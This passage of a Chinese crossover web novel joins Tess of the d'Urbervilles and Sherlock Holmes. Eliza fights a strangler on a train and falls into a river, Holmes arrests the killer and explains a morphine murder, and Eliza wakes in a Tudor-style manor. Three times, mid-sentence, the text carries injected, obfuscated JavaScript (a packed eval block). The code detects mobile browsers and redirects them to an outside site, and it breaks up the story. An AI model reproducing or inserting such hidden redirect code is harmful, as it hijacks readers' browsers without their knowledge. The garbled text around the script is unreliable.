这个计划的错漏不少，但是伊莱莎没精力也没必要把它做得太精美完善，根据众多前辈的经验来看，只有简洁才是天才的姐妹，最难破的案子往往不是环节复杂设计精巧的谜案，而是激情冲动犯罪。 咚、咚咚…… 她的思绪被突如其来的声音打断，板壁发出沉闷的震动声，仿佛有人在撞击它。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15243414|165096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>隔壁发生了什么？ 或许是地理位置上远离了事件的发生中心，伊莱莎感觉自己舒服了一些，大脑的煎熬程度从高烧40度降到了38度多。 头脑清醒了一些，她竖起耳朵仔细听隔壁的声响，隔壁车厢最后进去的那个男人隐隐有些不对劲儿，哪里不对呢？ 鼻子，眼睛，眉毛—— 他的眉毛是被染黑过的，黑得不够自然，唇上的胡须是粘上去的，这种浓密的一字胡必须要一簇一簇地贴上去才显得足够贴服，像是从毛孔里长出来的，这个男人的手法不够精细。 下巴上蓄的小络腮胡应该是真实的胡子，这让他有点露馅了，因为他胡子本来的颜色是棕色而不是黑色。 眼睛倒没什么好说的，这时候又没有美瞳，他戴了一副玳瑁眼镜作遮掩。 至于她闻到的恶心的甜腻味儿，伊莱莎不能确定是不是因为那个男人喷了太多的古龙水，让她产生了错觉，或者说，那真的就是氯/仿…… 她全神贯注留意着隔壁的动静，火车匀速有规律的哐当声唤出了她的困意，报纸从手里脱落，滑落到腿上，伊莱莎陷入了半梦半醒的境地。 梦里也不安稳，她先是梦到自己没有选择去苍鹭居放火，而是在威茅斯的火车站追上了苔丝和安吉尔，带着他们逃到威茅斯港，登上了去巴西的轮渡，结果在维多利亚港被警方抓个正着。 然后画面一转到了巡回法庭，布鲁克斯太太一口咬定是苔丝杀了德伯维尔，陪审团因为苔丝犯了重婚罪，在舆论和道德上没有得到他们的同情，因为谋杀被判处绞刑，也落得了跟原著一样的下场。 最后，一切都按照她的计划进行，布鲁克斯太太因为能获得房屋保险的高额赔偿有了被指控自导自演谋杀的风险，她只好拼命证明德国男人的存在，并且确信是他杀了德伯维尔。 陪审团即将因为证据不足判处苔丝跟布鲁克斯太太无罪时，苔丝突然出面陈述自己的犯罪经过，否认德伯维尔有这么一个德国的仇人。她认为房子是布鲁克斯太太烧掉的，客人被谋杀的丑闻会让她的旅馆完蛋，烧掉房子不仅可以避免破产，还能从保险里赚一笔…… 伊莱莎被这些可怕的展开给吓醒了，或者说气醒了—— 隔壁到底在干什么！ 这次咚咚的碰撞声响亮了一些，而且持续得更久，伊莱莎感觉有人在踢板壁，而且是在贴近地面的位置踢过来的。 她有了一个可怕的猜想，隔壁的男人不会是在家暴吧？ 拉开门，走廊上并没有乘务人员的身影，这趟列车没有茶水服务，她不知道他们是不是在其他地方休息，还没驶过运河，距离下个站点早得很，检票员也不会在这时候出现。 每个车厢连接走廊的门都是无法上锁的，她可以轻易打开隔壁车厢的门，同样也意味着隔壁的人能打开她的门。 伊莱莎在走廊上犹豫不决，这可不是节外生枝的好时机，她一个在逃纵火犯，干嘛非要多管闲事？ 但是……万一真的是一个女孩被家暴殴打了，或者被陌生男人袭击了，她要对此视若无睹吗？ 22.chapter22 falls 伊莱莎站在车厢的走廊上，左右望了一下，始终没有发现走动的人。 拔下头上的帽针，小帽子被盘着的头发堪堪挂住，她选了个容易发力的姿势握着，用袖子的薄纱做遮掩。 伊莱莎敲响了门，故意用蛮横的口吻发问：“发生了什么事，怎么这么吵？” “不好意思，小姐，我的手提包掉在地上了。”里面传来一个粗声粗气的回答，“很抱歉吵到你了。” 他说话喘着粗气，像是在进行剧烈运动，在伊莱莎沉默的间隙里，里面传来了一声微弱的呼救，“救——” 声音不大，只说到一半就被打断了，但是伊莱莎听到了。 而且她确信，里面的男人也知道她听到了。 万福圣母玛利亚，她这是撞上同行了？ 这个男人的体型比她高大，如果要搏斗她肯定占不了上风，尤其是她现在体力虚弱，战斗力也跟着被大削。 大声呼救？ 她不敢保证自己穿着裙子和裙撑能跑过男人，更大的可能是这个男人会直接打开车厢门把她拉进去，让她闭嘴。 而这节车厢到底有没有其他乘客还不好说。 伊莱莎在几秒内就打定主意，她要假装没听到，往后面人多的车厢跑，跑到另一节车厢一边找乘务员一边呼救比较保险。 然而，这一切都晚了。 她侧身提起裙子的瞬间，车厢的门被一下子拉开，那个化妆化得漏洞百出的男人伸手抓住她的胳膊，把她扯进了车厢。 眼角的余光里瞥到那个穿着桃红色裙子的女孩曲着腿躺在地上，一动不动，仿佛已经没了呼吸。 她的头皮发麻，生死关头的危机让她格外清醒。 男人双手握上她的脖子，使出他对地上的女孩来的那套，打算掐/死/她，像是撇断一株水仙的花茎一样，轻而易举就让伊莱莎感受到窒息的痛苦。 她的手在身侧摆动挣扎着，握着唯一的武器，寻找适合扎洞的地方。 腰上的衣服太厚，捅不进去。往腿上捅发力不方便，且削弱战斗力效果太弱，那就只剩下—— 脖子！ 呼进的空气越来越少，伊莱莎的两眼一阵阵发黑，她找准角度，确保自己一定能扎到他的肉里，也不挑能不能造成致命伤了。 用尽最后的力气，伊莱莎把帽针狠狠地插进了男人的脖子。 帽针扎进了他斜方肌，只留下一小半针身和枕头还留在外面。 他被刺得抽搐，剧痛让他松了手，伊莱莎捞起裙子，趁机蓄力，狠狠踢了一脚他的裤/裆。 他顿时弯下了腰。 “救……”不同于之前灵魂的体验，肉/体上堪比绞刑的经历对她的声带造成是实打实的伤害，她尝试着说话，感觉喉咙里里面吞了一把玻璃碎片。 没办法呼救，伊莱莎只好用所剩无几的力气拉开车厢门，想要直接跑出去。 等等，她听到走廊远处的脚步声了。 有人过来了！ 下一秒，背后传来一阵声响，像是风灌了进来。 受伤流血彻底激发了这个男人的兽性，他扑上来，愤怒地钳住伊莱莎的胳膊，像是提着鸟的翅膀一样，把她按到另一侧完全打开的车厢门口。 外面是一大片芳草茵茵的斜坡。 伊莱莎当然不会天真地认为这个男人是想把她丢到毫无杀伤力的草地上，马上火车就要开到运河了，河上的铁路桥大约有两三层楼高，是一个火车杀人抛尸的好地界。 她的腿灵活地向后踢，效果大不如前，不是差在准头和力度上，最大的限制是穿的这条贴腿的长裙——见鬼的巴斯尔裙！ 缠斗之中伊莱莎甚至还能分神庆幸这个男人没有把帽针拔下来，按照同样的方式奉还到她的脖子上，掐死她或者报复回来太浪费时间了，他的当务之急是以最快的速度处理她，然后再想办法处理伤口。 有生还的希望吗？ 太渺茫了，比起撞大运祈求千万分之一的概率让男人失去平衡掉下去，不如选择把他一起带下去。 男人脖子上流出的血溅到伊莱莎的脸上，血腥味儿和搏斗分泌的肾上腺素让她接受了这个疯狂的想法，比起求生，她现在更想带着这个魔鬼一起跳下去。 就算是死她也要拉一个垫背的！ 她的手摸索着，在混乱的扭打中够到了摇摇欲坠的帽针，伊莱莎抓住针头镶嵌的珍珠，再次往男人伤口上用力一戳。 男人双眼通红地怒吼一声，也不管会不会被别人听到了，伊莱莎感觉自己左手的手腕传来一阵剧痛，即使全身都痛，那里也痛得格外突出——大概是脱臼了。 左手无力地垂在身侧，右手还死死抓着男人的脖子，在跌落的瞬间，这个男人会被她一起带下去。 伊莱莎的心跳速度过快，几乎感受不到失重带来的刺激，她耳边全是火车车轮和轨道碰撞的声音，临近的脚步声藏在里面，没能分走她的注意。 在她眼中，一切都慢得像是停滞了。 她清楚地看到男人不住淌血的脖子，喷溅的血，倾斜的身体，还有失控挥着想要保持平衡的手臂。 这是他即将跌落火车的刹那。 最后她的视线停留在肩膀处，除了脖子上的凶器，那里突然多了一只手。 手指很长，指关节粗大，每根手指上都有着新生的浅白色肉瘢，食指和无名指上贴了几块橡皮膏，指甲剪得很短，像是拳击运动员。 这只手发力时青筋凸出，像鹰爪一样有力，跟抓在男人腰上的另一只手一起发力，一下子把摇摇欲坠的他拉回了火车上。 伊莱莎顿时变得比那个男人还要怒火中烧。 是谁？ 是谁坏了她的好事！ 是谁救了这个贱/人！ 她把那双手的一切，从手指到乘务员制服袖口下露出来的手腕骨节，全都深深印在了脑海里。 这两个该死的男人最好藏好点，别让她逮到！ 鹅黄的裙子被风吹得贴在身上，像折断翅膀的黄柳莺一样向下坠落，她掉进了河里。 从两层楼的高度砸进河面，伊莱莎感觉自己全身都快要散架了。 冰冷的河水让她立刻变得清醒，好在火车还没有驶到河心，她落下来的地方是河流浅处。 她呛了几口水，努力扬起头，抬起下巴，让嘴巴和鼻子都露出水面，小口地呼吸着。 体力所剩无几，她只好顺着水流慢慢调整方向，让自己往河岸的方向漂。 会死吗？她的脑海里并没有出现走马灯，而是另一件事。 或许是落水的冲击太过巨大，她终于想起来了。 她真的已经死了。 在桥边看到一个小孩子落水了，她跳下去救人，不幸溺水死了。 然后又附身到伊莱莎-露易莎·德伯菲尔德的身上，多活了六个月，还改变了苔丝的命运，如果够幸运的话，她还能让一桩火车谋杀案的罪犯伏诛。 就算等会儿死了，也是她赚了。 承载着伊莱莎的河水慢慢变得和缓，高速行驶的列车中的打斗却依旧激烈。 “去/他/妈/的福尔摩斯——”男人中气不足地大吼，“又是你！” “冷静，沃伦先生。”歇洛克·福尔摩斯躲过他挥过来的拳头，很不客气地一拳砸到他的太阳穴上，沃伦被打得跌倒在地上。 一名乘务员在阻拦看热闹的乘客，另一名乘务员跟华生趁机进来将桃红色裙子的女孩抬到了隔壁的空车厢进行抢救。 伤者最好不要轻易移动，但留在原地难免不会被误伤。 福尔摩斯用腿把敞开的门勾过来关好，如果他是沃伦，那他绝不会错过在对方用手去拉车门的时候把人推下火车的机会。 从乘务员制服的口袋里拿出手铐，他笑道：“先生，我知道你当然不会乖乖听话，不过我建议……” 坐在地上喘着粗气的沃伦突然暴起，他不知道从哪里拿出一把短匕首，握在手心，向对方刺了过去。 福尔摩斯闪开，沃伦的匕首扎进了车厢座椅的皮革靠背上，他气喘吁吁地握着椅背，放弃把它拔下来，转过身去，试图打开车厢门逃跑。 “好吧，我知道你们那伙儿人就是这样报答救命恩人的。” 福尔摩斯一脚踢在沃伦的膝盖后面，他吃痛跪地，双手终于被铁铐铐上。 他喊来一个乘务员，让他帮沃伦处理伤口止住血，乘务员害怕地摆手后退，福尔摩斯只好让他去取一捆绳索过来。 看了眼在地上刚被打开的手提旅行皮包，里面除去被沃伦拔出来的匕首，还有纱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15253537|165096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 布和氯/仿。 “沃伦先生，我相信比起被踢断腿或者吸点儿氯/仿你更喜欢稍微文明点儿的方式，”福尔摩斯饶有兴味地听着他的诅咒，“你知道，我不是正规警/察，制止罪案发生的过程中要是出了一点小差错也正常。” “毕竟你这种专业杀手也出了差错。” 乘务员把沃伦的腿按住，福尔摩斯亲自绑了个牢固的绳结。 他握住被拔下来的珍珠帽针，走到窗户处观察，虽然失去了沃伦像苍蝇一样的咒骂，但他发现了另一个有趣的东西。 骂人也是一个耗体力的活儿，沃伦骂累了，老老实实地让人包扎了伤口。 “福尔摩斯，你凭什么袭击一个大英公民？” “没有一个大英公民会拒绝让谋杀犯被逮捕归案。” 沃伦本想嘲讽一笑，他一动脸上的肌肉，就扯到肩颈处的斜方肌，这笑也变得扭曲滑稽起来：“噢，你指控我杀了谁？韦林特上校——你有什么证据证明吗，在死因审判法庭连你都拿不出证据，现在竟然来空口污蔑我？” “夏普小姐呢？还有那个不幸闯进来被你扔下火车的女士。”福尔摩斯把帽针握在手心，转身问他。 “当然是我看见那个女人想要伤害格拉迪斯，出手阻拦她。不信你去问格拉迪斯，或者问那个女人——” “她还活着！福尔摩斯，她没死！她还活着！” 华生从隔壁车厢跑过来，唰地拉开车门，气喘吁吁地大喊：“格拉迪斯还活着！” 他本以为格拉迪斯·夏普是必死无疑了，没想到她吸入了大量的氯/仿，中途竟然还能醒过来，沃伦掐死她时她费力挣扎了一番，再加上闯入的另一个小姐打断了沃伦，给她提供了一线生机。 经过华生的进行注射乙/醚、人工呼吸等各种急救办法之后，她的眼睑颤动，恢复了微弱的呼吸，这个女人竟然躲过了死神的镰刀。 福尔摩斯看着沃伦苍白的脸色，好心地说：“别泄气，沃伦，假如你愿意说出你知道的东西，我愿意为你提供一些辩护材料，夏普小姐生命的奇迹难道不能让你幡然醒悟吗？” “上校……”他嘴唇不停地哆嗦，失血过多让他冷得发抖，他恐惧地环顾四周，突然恢复了正常的声调，“指使我杀害韦林特上校的是、是一位慷慨的夫人，也是一位充满仇恨的母亲……” “你以为我没有去维海特拜访过她？在你们认识之前，还有一个环节，夫人可不是在你成为韦林特上校的秘书之后才打算收买你的。” 福尔摩斯不耐地提醒他：“这是最后一次机会，想好再说，沃伦，不然你就把剩下的话留到季审法庭去讲。” 沃伦额角青筋凸起，从额头冒出的汗水和脸上不时抽搐的肌肉不难看出，他的头脑陷入了一场复杂的斗争之中。 侦探像鹰隼一样的目光死死盯着他，沃伦突然抬头，爆发出一阵大笑：“哈、哈哈哈哈哈——福尔摩斯，你这个魔鬼，你这个狡猾的魔鬼！你会下地狱的！你这个地地道道的魔鬼——” 火车终于到了站点，收到通知的当地警方把沃伦押上马车，格拉迪斯·夏普被另一辆马车拉去诊所医治，福尔摩斯拍了几封电报，道：“好了，华生，我们就在此分别吧，我接下来要去拜访一位夫人，她可不太欢迎人。” “沃伦提到的‘那位’夫人？”华生好奇地问道，他见福尔摩斯点了点头，不发一言，又有点生气，“福尔摩斯，这到底是怎么回事，我现在还对此一无所知！你什么都不肯告诉我。” 面对好友不满的指控，福尔摩斯神色严肃地说：“这一切主要取决于我接下来的拜访结果，如果夫人愿意谈点什么，那我就一个字也不会跟你讲。如果她什么也不说，那我会把知道的一切都告诉你。” 他拍了拍华生的肩，道：“洛维拉家在宾夕法尼亚州做钢铁生意，夫人的心肠和意志也和钢铁一样冷硬，我有很大的概率无功而返。所以不必生气，我的朋友，最迟明天早上，你就可以来贝克街听我的推理了。” 华生被他矛盾的话搞晕了，他思来想去，决定换个话题：“不知道那位掉下火车的女士怎么样了。” 福尔摩斯沉默片刻，开口道：“我已经给多切斯特和威茅斯的警察局拍了电报，希望她带给夏普小姐的好运也能够降临到她身上。” 23.chapter23 结局和？ “所以，你的维海特庄园之旅怎么样？”时至五月，伦敦夜晚的空气已经很温暖了，壁炉里的煤块快要燃尽，华生放下报纸，开始复盘一局惠斯特牌。 福尔摩斯瘫在沙发上，怠懒地说：“如你所见，连夫人的面都没有见到。 “不过我在好心的女管家的陪同，或者监督——随便怎么说吧，在她眼皮子底下，到洛维拉家族的田地里转了几圈。 “那里的风景就像托马斯·庚斯博罗的画，庄园主人的气质也像庚斯博罗一样不逊。” “沃伦为什么要杀格拉迪斯？她难道不是个无关紧要的女仆，而是他们杀手组织的一员，他们两个闹了内讧？”华生实在不解。 福尔摩斯看了他一眼，咯咯笑了一声，“华生，你不会一直没看出来格拉迪斯在勒索沃伦吧？ “‘我想我没有看到什么东西，不过我也说不清楚，也许我有看到，也许我看花了眼。’主人们揣度仆人有下毒的野心和胆量，却从不肯承认他们也有大脑，有智慧。 “格拉迪斯的话让人听不明白，当然是因为她不是说给我们听的。” 华生把散开的牌推到一边，专心听侦探的讲述。 “韦林特上校死于吗/啡使用过量，这不奇怪，从第七步兵团因伤退役后，他就一直注射吗啡来减轻疼痛。 “引起警方怀疑的是书桌上的可可杯，里面检测出了大剂量的吗/啡。 “客厅女仆格拉迪斯在客厅用同一壶可可为所有人都倒了一杯，属于上校的那杯是由韦林特夫人端过去的。 “夫人离开书房之后，上校就从里面把门栓上了，时间是九点过一刻。除了这道门，没有其他进入书房的办法。 “医生去花园散步，上校的弟弟大卫·韦林特跟上校的秘书亚历山大·沃伦在起居室下国际象棋，老管家进来添了几次灯油。 “快到十点的时候，医生告辞了。” 华生补充道：“现在我们都知道，医生之所以不肯说明白他的去向，是因为他去与夫人幽会了。” 福尔摩斯从沙发上起身，点燃了黑色的陶土烟斗。 医生有些诧异：“我以为你今晚更想发挥言语的才能而不是思维的才能呢。” 虽然已经搬离了贝克街，但华生仍旧对老友的习惯熟谙于心，通常来说，在需要跟人讨论问题时，比起用惯的陶制烟斗，他更喜欢那柄樱桃木的长烟斗①。 白色的烟雾从烟斗上冒出来，福尔摩斯继续用平静的语调说：“第二天早上，沃伦去书房找上校，他发现书房的门被闩住了，怎么敲门都没有回应。 “于是他喊来了管家——年事已高的老管家当然没什么用，所以还喊来了大卫·韦林特先生，他们一起把书房的门撞开了。” 撞开之后，他们发现上校还在伏案睡觉，然而走近才发现，他已经去世了。 老管家这时候倒是不糊涂了，他把所有人赶去了客厅，报了警，又亲自守着书房，直到警察到来。 “验尸官的报告证明上校死于摄入了过量的吗/啡，抽屉的文件里有一份遗书，在遗书中，上校忏悔了他害死妻子的往事。 “五年前，上校收到了妻子婚前跟其他男人有私情的确凿证据，他跟妻子发生了争执，在肢体冲突中将怀孕的妻子推下了楼梯，前韦林特夫人流产并大出血去世，这件事在当时被认为是一个不幸的意外。” “不久之后上校腰部中弹，不得不从兵团退役。三年前，他的私人医生开始为他注射吗/啡止痛，在一年前的一次疗养院修养时，上校遇到了现在的妻子，希尔达·韦林特。” 现任韦林特夫人的遭遇令人叹息。 他们在半年前结婚，因为上校的腰伤，蜜月旅行被取消，她一直在这栋伦敦郊区的乡村别墅消磨时光。上校的本性里仍旧残留着推倒前韦林特夫人的残暴基因，在疼痛的折磨下，这样的恶毒的冲动吞噬了他的理智，他对希尔达·韦林特进行了暴力虐/待。 夫人的美丽与不幸让常来拜访的医生心生恻隐，很难说是恻隐之心催生了爱，还是因为爱所以自然而然地产生了保护欲。 “尽管陪审团和警方都认为是医生为夫人提供了吗啡，但是夫人既不肯承认这一点，医生也不愿指认夫人。” 华生对这对苦命鸳鸯抱有极大的同情：“我不认为在这样的情况下，不幸的夫人还要被谴责对婚姻不忠，事实上，维持这样的婚姻以及让这样的婚姻持续下去的法律，才是对上帝的不忠。” 福尔摩斯点点头：“当然，陪审团跟你抱有一样的看法。 “但是想想吧，华生，牢狱之灾和绞刑对夫人那样的淑女来说并没有什么差别，我们还是得把不属于她的罪孽澄清干净。” “送去检测的杯子里发现了吗啡，当局第二天就传讯了夫人。 “在我们根据烟灰和凉亭脚印推断出医生的行踪之后，他也面临谋杀共犯的指控，警察怀疑是他为夫人提供了吗/啡。” 案件最终受益人是上校的弟弟，韦林特上校没有孩子，他的律师保存的最后一版遗嘱里对财产的分配是夫人和弟弟平分。 但是现在夫人失去了继承权，一切的遗产都由大卫·韦林特继承。 华生疑惑道：“不过我们可以肯定的是，尽管大卫·韦林特是一个投资失败财产状况岌岌可危的头号嫌犯。” “但他确实没有嫌疑，不管是管家还是厨娘或者其他仆人都能作证，他一直待在起居室。” “那么沃伦呢？”福尔摩斯反问他，“在他们下象棋期间，起居室的门是关上的，管家进去添灯油时，他隔着一道猩红色的帷幕看他们，只能在脑海里留下一个隐约的印象。” “假如在大卫·韦林特对面的椅子上挂上一件沃伦的外套，那么老眼昏花的管家把那把椅子默认为沃伦也不稀奇。” “这个推测可说服不了我。”华生摇头。 “沃伦是从起居室的侧门穿过客厅去往书房的，不得不承认他的手脚之干净利落，在我打过交道的罪犯里面可以拍前五。 “他预先让上校留了门，说是有要事商量。进去之后，他用氯/仿迷晕了上校，在医生注射的针眼里再次注入了致死量的吗/啡，再往可可里加入大量的吗啡，顺手把浸了氯/仿的纱布放到壁炉里烧掉。 “最后，他完成了重要的一步，用一把处理好伪装成被撞断的门闩替换了原本的那一把，离开了书房，从外面把门锁上了。” “这样做太冒险了，他不怕之后有人去找上校吗？” 福尔摩斯敲了敲烟斗，“要是所有谋杀犯都为了追求完美，那么我就要失业了，追求完美的最终结果是放弃。 “韦林特上校在书房时，所有人都不准去打扰他，庄园的仆人和夫人谁敢去触他的霉头？” “沃伦跟大卫·韦林特一直在起居室守着，确保发生意外他们能第一时间补救。显然你也看到了，沃伦彻夜未眠，在第二天的早晨就去把门锁解除了，再自导自演发现了尸体。 “我问他是不是休息得不好，他说是他做了噩梦，梦到不幸的事发生，没想到竟然变成了现实。他要是愿意去剧院就职，演 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15265148|165096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 克劳狄斯②真是恰如其分。” “要是格拉迪斯没有碰巧看到沃伦走进书房，那这岂不是要成为你的滑铁卢了？”华生调侃道。 “至少门栓的发现可以让夫人不用去霍洛韦监狱体验生活了。”福尔摩斯把未燃尽的烟丝挑出来，道，“我了解沃伦这种人，杀戮对他们来说是一件会上瘾的事，没有这次还会有下次。” “不过我以为他不会动格拉迪斯，毕竟他还得应付丢掉一半遗产的同谋——格拉迪斯的胃口是很容易满足的，没想到他连这都容忍不了。” 同谋这个词突然触发了华生的反应，“你不是说是洛维拉夫人指使的吗，为什么又扯上了韦林特上校的弟弟？” “洛维拉夫人为了给枉死的女儿报仇，大卫·韦林特图谋全部的遗产，”福尔摩斯叹口气，“如果不是韦林特夫人要用来当替罪羊，并且她不会允诺付给沃伦一大笔酬金的话，沃伦会把她也拉进客户名单。” “要是条件允许，沃伦说不定会把韦林特上校的命拿去给所有需要的人都兜售一遍。” 远处传来八点的钟声，华生从椅子上起身，最后问了一个问题：“既然已经把沃伦抓了个正着，怎么还要再去拜访洛维拉夫人，即使沃伦没有供出夫人，夫人也不会出庭作证吧？” “沃伦精挑细选了一个好地方，那条运河河岸的大片土地都属于维海特，要是格拉迪斯的尸体漂流到了那里被人发现，夫人出于自身的考虑也会隐瞒下来的。 “所以我去游览了一番田园风光，顺便打听了有没有那个女孩的消息。” 福尔摩斯放下烟斗，突然起身走到写字桌前，在一张硬纸信笺上写了一行字，递给华生：“今天上午威茅斯发生了一桩奇怪的案件，我去探听了一些情况，说起来很有意思，这次的案件比起用演绎法推理，更多依赖的是我的私人交往。” “如果你要把韦林特上校谋杀案放进你的记录里的话，把这个案件当做一个插曲也不错。” 这句话让华生驻足，他被福尔摩斯这番话勾起了极大的兴趣：“为什么？这个案子很难破吗，还是说当事人是你的亲人，朋友？” “威茅斯的海滨别墅苍鹭居里，一个来度假的有钱人被谋杀了，罪犯放火烧毁了现场——主要是把命案发生的二楼烧掉了，基本上没留下什么有用的线索，就算有也被救火队破坏得一干二净。 “大家怀疑是一个德国人寻仇杀掉了死者，详细的报道明天就会在报纸上刊登出来。 “这是警方在死者之前居住的地方发现的一封威胁信，信寄到的时候，死者已经去威茅斯度假了。” 华生接过信笺，认真地看：“所以这是德语，上面写的什么？” “‘使咒诅、扰乱、责罚临到你，直到你被毁灭，速速地灭亡③’，《申命记》里的话。”福尔摩斯忍不住发笑，“看起来没什么奇怪之处，对吧？我把它原原本本地复写了一遍，基本确保跟原件一样——从内容到字迹。” 很久之后，华生为这张硬纸笺留下了一段批注：“这张纸条就像伊莱莎·德伯菲尔德小姐一样难以捉摸，假如把它当作一个犯罪案件的引子，它实际上只是错综万缕的丝线里不起眼的一条，其推理过程不仅不能展现演绎法的精妙之处，反而会让读者怀疑我与福尔摩斯变成了唯灵论的信徒。” “但是让它变成一个爱情故事的开始，又过于……破坏浪漫感了。” 伊莱莎的读后感是大笑出声，说：“我觉得这可以当做一个五月奇幻故事的开头，或者是看成是我跟洛维拉夫人结识的注脚。” 24.chapter24 一万英镑 在谈论米兰达·洛维拉夫人之前，我们有必要谈论一下维海特庄园的斯派瑟夫妇的奇遇。 斯派瑟先生是一个小提琴手，声带生下来就出了毛病，是教堂的牧师收养了他。 他在星期天上教堂去，为圣歌演唱伴奏，其余时间他去乡绅的舞会充当乐手，或者礼拜六的晚上去工人和农民的集会给他们拉琴。 斯派瑟太太是一个强壮的妇女，成天乐呵呵的，不管是在地里割小麦还是在养殖场喂养鸡鹅，你在她的脸上找不到疲累或者怨恨，似乎生命里没有任何东西会让她生出烦忧。 从这对夫妻诞生到这个世界上，到他们结婚，再到第一个女儿出生，之后第二个女儿出生，两个女儿长大，一个嫁给了家具商，另一个嫁给了助理牧师，其间经过种种变化，他们一直生活在这个地方。 尽管曾经属于卡林顿男爵的土地几度易主，最终还是回到了男爵的小女儿洛维拉夫人的手中。 在主升天节的前两周，斯派瑟先生已经为节日准备好了曲目，他要用利迪亚调式演奏第一百二十七首赞美诗。由于排练次数过多，他在周六晚的乡村舞会还拉错了音，本来应该演奏一曲轻快的苏格兰舞曲，他的琴弓却奏出了教堂圣歌的曲调。 除去这个小插曲，这场舞会的种种快乐不必赘述。凌晨时分，斯派瑟夫妇沿着运河的河岸回家，他们在月光下漫步，仿佛还踩着节拍在跳舞。 快要到家时，斯派瑟太太突然发现河岸边盛开了一大片黄鸢尾，她充满惊奇地上前，想要看清楚这一片凭空出现的花朵是怎么回事。 然而当她走近之后，才发现那不是什么黄鸢尾，而是一个穿着鹅黄色裙子的姑娘。 这把她脑子里的一点酒意都给吓跑了，她大胆地走上前去，看到了女孩衣襟上晕染开的血迹。 斯派瑟太太骇了一下，但还是犹疑着，伸出手指试探了女孩的鼻息——她还活着！ 这个女孩的脸实在太有迷惑性了，斯派瑟太太不信一个芙洛拉会干出什么坏事，她粗略地检查了一下女孩，在她的身上发现了不少骇人的青紫，左手手腕也肿得极高。 这大大地激起了斯派瑟太太的拳拳怜爱之心，她不仅坚定了女孩是被人袭击或者受了什么伤害的想法，更是选择性忽略了她右手攥紧的拳头。 伊莱莎事后深刻反省了自己，她确实是过于放松了。 不过这也不能怪她，她必须要辩解一下。 斯派瑟太太衣服上的皂碱气息混杂着秸秆的味道，还有做惯了农活的坚实臂膀，给了她极大的安全感。 想想看吧，她为了赶上去威茅斯的早班列车本来就没怎么休息，在放火烧了苍鹭居之后体力所剩无几，再加上在火车上跟人搏斗，又掉了水，灵魂还一直被高热折磨，这一天折腾下来把她三天的体力都耗光了。 现在躺在一个母亲一样的怀抱里，谁能不昏昏欲睡呢？ 要是换成斯派瑟先生来抱她，她会警惕很多，至少会捡来防身的石头藏好，而不是睡得太熟让它从手里滑掉。 这倒不是说斯派瑟先生不是个好人，只是伊莱莎习惯对所有男人都抱着警惕之心。 她在斯派瑟太太的臂弯里昏睡过去，被带回了他们的那个农家小屋，意识朦胧之际，伊莱莎听到这对夫妇在商谈要让夫人给她请个医生来看看。 夫人，什么夫人？ 她很想问个清楚，但困意像潮水一样铺天盖地把她淹没，她半是恐慌半是满足地昏睡了过去。 再次睁开眼时，伊莱莎以为自己又重开了一局。 她瞪着眼前层叠的床幔，一层纯色石绿打底，一层纯白底印着常春藤花纹，还有一层蕾丝装饰，侧边点缀着流苏，圆顶的顶篷同样绣着对撑的藤蔓花纹，盯着看久了容易头晕。 伊莱莎移开目光，苦中作乐开始思考这次她的身份是什么，欧洲贵族大小姐？ 灵魂熟悉的高热和伴随而来的轻微眩晕、呕吐跳出来提醒她，既然醒了就别做美梦了。 但这也说明了一个好消息——苔丝还活着！ 她从深陷的柔软床铺里翻下去，床垫并不像她以为的那么低。 伊莱莎发现自己身上穿的是一条缎面睡裙，层叠的蕾丝在一个令人厌烦的程度之前聪明地收手，停止了堆积，只留下了恰到好处的精致，让任何一个套上它的人都变成了一个行动的大号玩偶娃娃。 趿拉着摆在床边的拖鞋，她站在床边，感觉自己全身每块骨头都在痛。左手手腕被接上了，肿了一个大包。撩起睡衣的袖子，双臂布满了青紫的掐痕，腰上有几块磕碰的红肿，看不到的背上也有一片肌肉被拉伤，上半身到处都是伤口，下半身尚且完好。 试着发声说话，嗓子依旧有痛感，但是比火车上呼救时好得多了，她可以吐出一些简短的音节。 很好，至少跑路和说话有点指望了。 她巡视了房间一周，除了能看出这个地方挺大挺富有，是个女性的房间之外看不出其他的，墙上挂着像家族族徽一样的东西，但是她对纹章学一无所知。 书桌上摆着一些书，她翻了一下，有雨果和歌德作品的英译本，还有丁尼生的诗集，这些书无一例外都有些老旧了，也不是具有收藏意义的初印本，在这个富贵的房间里摆着显得有些格格不入。 伊莱莎在书桌的银质墨水台上发现了一把拆信刀，刀柄镶嵌着阿拉风格的花纹。 她从睡衣上拆下一条丝带，把小刀牢牢地绑在了小腿上。 窗帘并没有拉上，伊莱莎走到窗前，直直地望出去。对面是庄园的左翼，她在庄园的右翼，毫无疑问，这是一个大庄园，整体的风格偏向于都铎时代。 